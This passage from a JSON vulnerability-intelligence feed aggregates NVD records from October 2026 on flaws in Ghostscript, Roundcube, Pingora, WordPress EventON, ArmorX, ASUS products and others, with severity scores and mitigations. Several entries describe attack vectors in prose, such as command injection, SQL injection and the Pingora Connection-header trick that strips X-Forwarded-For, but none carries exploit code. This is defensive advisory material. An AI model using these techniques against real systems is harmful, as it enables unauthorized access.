an attacker to bypass -dSAFER restrictions and access files outside the permitted paths or execute commands with the permissions of the Ghostscript process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:42.507Z","updatedAt":"2026-10-20T15:03:59.857Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Red Hat Enterprise Linux"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112177","asOf":"2026-10-20T15:03:59.857Z"},"epss":{"probability":0.00352,"percentile":0.2857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112177&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112177","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112177","type":"primary","publishedAt":"2026-10-20T08:16:42.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112177&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112177, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111090","cveId":"CVE-2026-111090","aliases":[],"kind":"vulnerability","title":"A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield...","summary":"A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield servers to retrieve update files or licenses, or to use automatic verification via SNS.","detail":"A logic error exists in the signature verification routine resulting in acceptance of unauthenticated update and license files.It is necessary to use only the MyStormshield servers to retrieve update files or licenses, or to use automatic verification via SNS.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T08:16:42.373Z","updatedAt":"2026-10-20T19:35:23.397Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111090","asOf":"2026-10-20T19:35:23.397Z"},"epss":{"probability":0.00165,"percentile":0.05625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111090","type":"primary","publishedAt":"2026-10-20T08:16:42.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113404","cveId":"CVE-2026-113404","aliases":[],"kind":"vulnerability","title":"WebITR developed by Uniong has a Insecure Deserialization vulnerability.","summary":"WebITR developed by Uniong has a Insecure Deserialization vulnerability. Authenticated remote attackers can use the hard-coded cryptographic key to craft and submit malicious serialized data, thereby executing arbitrary code on the server.","detail":"WebITR developed by Uniong has a Insecure Deserialization vulnerability. Authenticated remote attackers can use the hard-coded cryptographic key to craft and submit malicious serialized data, thereby executing arbitrary code on the server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T07:17:09.783Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113404","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.0044,"percentile":0.37936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113404&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113404","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113404","type":"primary","publishedAt":"2026-10-20T07:17:09.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113404&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113404, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113403","cveId":"CVE-2026-113403","aliases":[],"kind":"vulnerability","title":"ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability.","summary":"ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability. Authenticated remote attackers can inject crafted commands into a specific parameter, thereby uploading malicious code to the server.","detail":"ArmorX Spam developed by ArmorX Global Technology has a Command Injection vulnerability. Authenticated remote attackers can inject crafted commands into a specific parameter, thereby uploading malicious code to the server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T07:17:09.653Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113403","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00727,"percentile":0.53886,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113403&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113403","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113403","type":"primary","publishedAt":"2026-10-20T07:17:09.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113403&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113403, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113402","cveId":"CVE-2026-113402","aliases":[],"kind":"vulnerability","title":"ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability.","summary":"ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability. Authenticated remote attackers can exploit path traversal to cause the application to include PHP files outside the intended directory.","detail":"ArmorX Spam developed by ArmorX Global Technology has a Local File Inclusion vulnerability. Authenticated remote attackers can exploit path traversal to cause the application to include PHP files outside the intended directory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T07:17:09.493Z","updatedAt":"2026-10-20T19:28:52.970Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113402","asOf":"2026-10-20T19:28:52.970Z"},"epss":{"probability":0.00376,"percentile":0.31322,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113402&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113402","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113402","type":"primary","publishedAt":"2026-10-20T07:17:09.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113402&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113402, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97627","cveId":"CVE-2026-97627","aliases":[],"kind":"vulnerability","title":"Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd.","summary":"Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd. A user who can log in to the product with the administrator privilege may execute arbitrary OS commands.","detail":"Hidden functionality issue exists in Multiple DVRs (Digital Video Recorders) provided by Atsumi Electric Co., Ltd. A user who can log in to the product with the administrator privilege may execute arbitrary OS commands.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T06:16:58.300Z","updatedAt":"2026-10-20T20:17:26.543Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97627","asOf":"2026-10-20T20:17:26.543Z"},"epss":{"probability":0.00377,"percentile":0.31438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97627","type":"primary","publishedAt":"2026-10-20T06:16:58.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93300","cveId":"CVE-2026-93300","aliases":[],"kind":"vulnerability","title":"The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient...","summary":"The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","detail":"The EventON - Subscriber plugin for WordPress is vulnerable to generic SQL Injection via the 'email' parameter in all versions up to, and including, 1.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T06:16:57.913Z","updatedAt":"2026-10-20T19:27:34.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93300","asOf":"2026-10-20T19:27:34.430Z"},"epss":{"probability":0.00516,"percentile":0.43641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93300","type":"primary","publishedAt":"2026-10-20T06:16:57.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113386","cveId":"CVE-2026-113386","aliases":[],"kind":"vulnerability","title":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection.","summary":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection. A remote authenticated attacker can exploit this via CRLF sequences injected into the _uid parameter of the mail/headers and mail/viewsource actions to execute arbitrary IMAP commands.","detail":"Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection. A remote authenticated attacker can exploit this via CRLF sequences injected into the _uid parameter of the mail/headers and mail/viewsource actions to execute arbitrary IMAP commands.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T05:16:54.250Z","updatedAt":"2026-10-22T22:18:03.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Roundcube"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113386","asOf":"2026-10-22T22:18:03.430Z"},"epss":{"probability":0.01004,"percentile":0.62714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113386","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113386","type":"primary","publishedAt":"2026-10-20T05:16:54.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-17518","cveId":"CVE-2026-17518","aliases":[],"kind":"vulnerability","title":"Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an...","summary":"Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an HTTP request with input exceeding the expected length.\nRefer to the ' Security Update for ASUS Router Firmware' section on the ASUS Security Advisory for more information.","detail":"Buffer Copy without Checking Size of Input in certain ASUS router models allows an adjacent authenticated user to corrupt device operations and cause a denial of service via an HTTP request with input exceeding the expected length.\nRefer to the ' Security Update for ASUS Router Firmware' section on the ASUS Security Advisory for more information.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T02:17:11.307Z","updatedAt":"2026-10-20T20:17:24.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-17518","asOf":"2026-10-20T20:17:24.460Z"},"epss":{"probability":0.00186,"percentile":0.0817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-17518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-17518","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-17518","type":"primary","publishedAt":"2026-10-20T02:17:11.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-17518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-17518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105299","cveId":"CVE-2026-105299","aliases":[],"kind":"vulnerability","title":"Summary\n\n\n\nBefore version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without...","summary":"Summary\n\n\n\nBefore version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without removing the client's Connection header, other hop-by-hop headers, or the headers Connection nominated, although RFC 9110 Section 7.6.1 requires intermediaries to remove them. The HTTP/2 upstream path already removed Connection and related HTTP/1-specific headers. A client could therefore nominate a header that the application adds in upstream_request_filter (for example, Connection: keep-alive, X-Forwarded-For). A downstream HTTP/1 intermediary that honors Connection would then strip the Pingora-added header before it reached the origin.\n\n\n\n\nImpact\n\n\n\nSpecifically affects chained deployments where an HTTP/1 intermediary between Pingora and the origin processes Connection nominations (for example, Go's net/http/httputil.ReverseProxy) and the origin trusts headers added by that intermediary (for example, X-Forwarded-For for IP-based authorization). A remote, unauthenticated attacker can have those headers removed, potentially bypassing authorization. The reporter demonstrated access to an IP-restricted endpoint using X-Forwarded-For for IP validation on the origin. This is the same class of issue as CVE-2022-31813 in Apache HTTP Server.\n\n\n\n\nNote that Cloudflare CDN customers were unaffected, as no such chained deployment as described above exists with internal Pingora services, and Connection headers are sanitized before arriving at Pingora gateways.\n\n\n\nMitigation:\n\n  *  \n\nUpgrade to pingora 0.9.0 or later. By default, Pingora now removes hop-by-hop and Connection-nominated headers from upstream requests, and rejects requests whose Connection header nominates Host, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto, or a pseudo-header. This is controlled by PeerOptions::http_upstream_request_policy (HttpUpstreamRequestPolicy). Fix commits:  https://github.com/cloudflare/pingora/commit/28c18e6b6b04dd0bd937234e5950049e6d74cded ,  https://github.com/cloudflare/pingora/commit/ca23f1668eca8e78be7ba62ef0edbd458b40eeee \n\n\n  *  \n\nDo not use HttpUpstreamRequestPolicy::preserve() if the origin relies","detail":"Summary\n\n\n\nBefore version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without removing the client's Connection header, other hop-by-hop headers, or the headers Connection nominated, although RFC 9110 Section 7.6.1 requires intermediaries to remove them. The HTTP/2 upstream path already removed Connection and related HTTP/1-specific headers. A client could therefore nominate a header that the application adds in upstream_request_filter (for example, Connection: keep-alive, X-Forwarded-For). A downstream HTTP/1 intermediary that honors Connection would then strip the Pingora-added header before it reached the origin.\n\n\n\n\nImpact\n\n\n\nSpecifically affects chained deployments where an HTTP/1 intermediary between Pingora and the origin processes Connection nominations (for example, Go's net/http/httputil.ReverseProxy) and the origin trusts headers added by that intermediary (for example, X-Forwarded-For for IP-based authorization). A remote, unauthenticated attacker can have those headers removed, potentially bypassing authorization. The reporter demonstrated access to an IP-restricted endpoint using X-Forwarded-For for IP validation on the origin. This is the same class of issue as CVE-2022-31813 in Apache HTTP Server.\n\n\n\n\nNote that Cloudflare CDN customers were unaffected, as no such chained deployment as described above exists with internal Pingora services, and Connection headers are sanitized before arriving at Pingora gateways.\n\n\n\nMitigation:\n\n  *  \n\nUpgrade to pingora 0.9.0 or later. By default, Pingora now removes hop-by-hop and Connection-nominated headers from upstream requests, and rejects requests whose Connection header nominates Host, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto, or a pseudo-header. This is controlled by PeerOptions::http_upstream_request_policy (HttpUpstreamRequestPolicy). Fix commits:  https://github.com/cloudflare/pingora/commit/28c18e6b6b04dd0bd937234e5950049e6d74cded ,  https://github.com/cloudflare/pingora/commit/ca23f1668eca8e78be7ba62ef0edbd458b40eeee \n\n\n  *  \n\nDo not use HttpUpstreamRequestPolicy::preserve() if the origin relies on headers added by Pingora; it restores the old passthrough behavior.\n\n\n  *  \n\nIf you cannot upgrade: in upstream_request_filter, remove the Connection header and every header it nominates before adding trusted headers.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T02:17:08.703Z","updatedAt":"2026-10-20T20:17:12.363Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105299","asOf":"2026-10-20T20:17:12.363Z"},"epss":{"probability":0.00425,"percentile":0.365,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105299","type":"primary","publishedAt":"2026-10-20T02:17:08.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102438","cveId":"CVE-2026-102438","aliases":[],"kind":"vulnerability","title":"An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link...","summary":"An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link library (DLL) that is later loaded by a high-privilege process.\nRefer to the '\nSecurity Update for Armoury Crate App ' section on the 